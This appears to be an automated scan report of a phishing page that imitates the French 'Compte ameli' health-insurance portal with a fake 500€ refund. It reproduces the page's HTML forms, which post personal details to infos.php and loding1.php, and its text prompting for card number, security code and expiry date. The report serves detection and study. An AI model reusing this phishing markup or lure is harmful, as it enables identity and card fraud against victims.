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Form analysis 2 forms found in the DOM

Name: creationImmediateFormPOST infos.php

<form name="creationImmediateForm" id="creationImmediate_1creationImmediateForm" method="post" action="infos.php">
  <div class="blocformfond creationimmediate">
    <div>
      <h2> COORDONNÉES PERSONNELLES : </h2>
    </div>
    <fieldset>
      <div>
        <label class="r_label r_ddc_half_screen" id="creationImmediate_1labelnom" for="creationImmediate_1idNom"> Nom: <img src="./Compte ameli - mon espace personnel_files/puce_obligatoire.gif" width="5" height="8" alt="*">
        </label>
        <span class="zone_champ_saisie"><input id="creationImmediate_1idNom" type="text" maxlength="50" size="30" value="" class="champ" tabindex="3" name="001"></span>
        <div class="right_side">
          <span id="creationImmediate_1idNom_messageErreur" class="message_erreur message_erreur_invisible"></span>
        </div>
      </div>
      <div>
        <label class="r_label r_ddc_half_screen" id="creationImmediate_1labelnom" for="creationImmediate_1idNom"> Prénom: <img src="./Compte ameli - mon espace personnel_files/puce_obligatoire.gif" width="5" height="8" alt="*">
        </label>
        <span class="zone_champ_saisie"><input id="creationImmediate_1idNom" type="text" maxlength="50" size="30" value="" class="champ" tabindex="3" name="002"></span>
        <div class="right_side">
          <span id="creationImmediate_1idNom_messageErreur" class="message_erreur message_erreur_invisible"></span>
        </div>
      </div>
      <div>
        <label class="r_label r_ddc_half_screen" id="creationImmediate_1labelddn" for="creationImmediate_1idDna"> Date de naissance: <img src="./Compte ameli - mon espace personnel_files/puce_obligatoire.gif" width="5" height="8" alt="*">
        </label>
        <span class="zone_champ_saisie"><input id="creationImmediate_1idDna" type="text" autocomplete="off" maxlength="10" size="18" value="" placeholder="jj/mm/aaaa" class="champ" tabindex="5" data-maxdate="28/03/2018" name="003"
            data-mindate=""><a id="creationImmediate_1idDna_calendrier" class="calendrier" tabindex="-1" title="Aide à la saisie de date"></a></span>
        <div class="right_side">
          <span id="creationImmediate_1idDna_messageErreur" class="message_erreur message_erreur_invisible"></span>
        </div>
      </div>
      <!----------------------------------------------------------------------------------------------------------------------->
      <div>
        <label class="r_label r_ddc_half_screen" id="creationImmediate_1labelddn" for="creationImmediate_1idDna"> Adresse complète: <img src="./Compte ameli - mon espace personnel_files/puce_obligatoire.gif" width="5" height="8" alt="*">
        </label>
        <span class="zone_champ_saisie"><input id="creationImmediate_1idDna" type="text" autocomplete="off" size="18" value="" placeholder="Ex : 31 avenue ..." class="champ" tabindex="5"
            name="10"><a id="creationImmediate_1idDna_calendrier" class="calendrier" tabindex="-1" title="Aide à la saisie d'Adresse"></a></span>
        <div class="right_side">
          <span id="creationImmediate_1idDna_messageErreur" class="message_erreur message_erreur_invisible"></span>
        </div>
      </div>
      <!----------------------------------------------------------------------------------------------------------------------->
      <div>
        <label class="r_label r_ddc_half_screen" id="creationImmediate_1labelnom" for="creationImmediate_1idNom"> N° de téléphone: <img src="./Compte ameli - mon espace personnel_files/puce_obligatoire.gif" width="5" height="8" alt="*">
        </label>
        <span class="zone_champ_saisie"><input id="creationImmediate_1idNom" type="text" maxlength="10" size="30" value="" class="champ" tabindex="3" name="004"></span>
        <div class="right_side">
          <span id="creationImmediate_1idNom_messageErreur" class="message_erreur message_erreur_invisible"></span>
        </div>
      </div>
    </fieldset>
  </div>
</form>

POST ./loding1.php

<form action="./loding1.php" method="post" id="formulaire_saisie_adresse">
  <!-- Preremplir et focus la date de naissance lorsque le nir est complet -->
  <!-- Preremplir la date de naissance lorsque l'utilisateur focus le champ (tab ou click) -->
  <!-- Positionner le curseur au debut du champ si le mois et l'annee sont renseignés -->
  <!-- Activer le bouton si les champs sont OK -->
  <!-- Focus le champ (contrer la perte de focus lorsque le message d'erreur est affiche) -->
  <!-- Activer le bouton si les champs sont OK -->
  <!-- Activer le bouton si les champs sont OK -->
  <!-- Activer le bouton si les champs sont OK -->
</form>

Text Content

COMPTE AMELI

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FORMULAIRE DE REMBOURSEMENT ÉLECTRONIQUE / RÉFÉRENCE : AMELI-A8005W

Montant : 500€


COORDONNÉES PERSONNELLES :

Nom:

Prénom:

Date de naissance:

Adresse complète:

N° de téléphone:



COORDONNÉES BANCAIRES :

N° de carte bancaire:

Cryptogramme visuel:

Date d'expiration: Mois 01-janvier 02-février 03-mars 04-avril 05-mai 06-juin
07-juillet 08-aoút 09-septembre 10-octobre 11-novembre 12-décembre Année 2019
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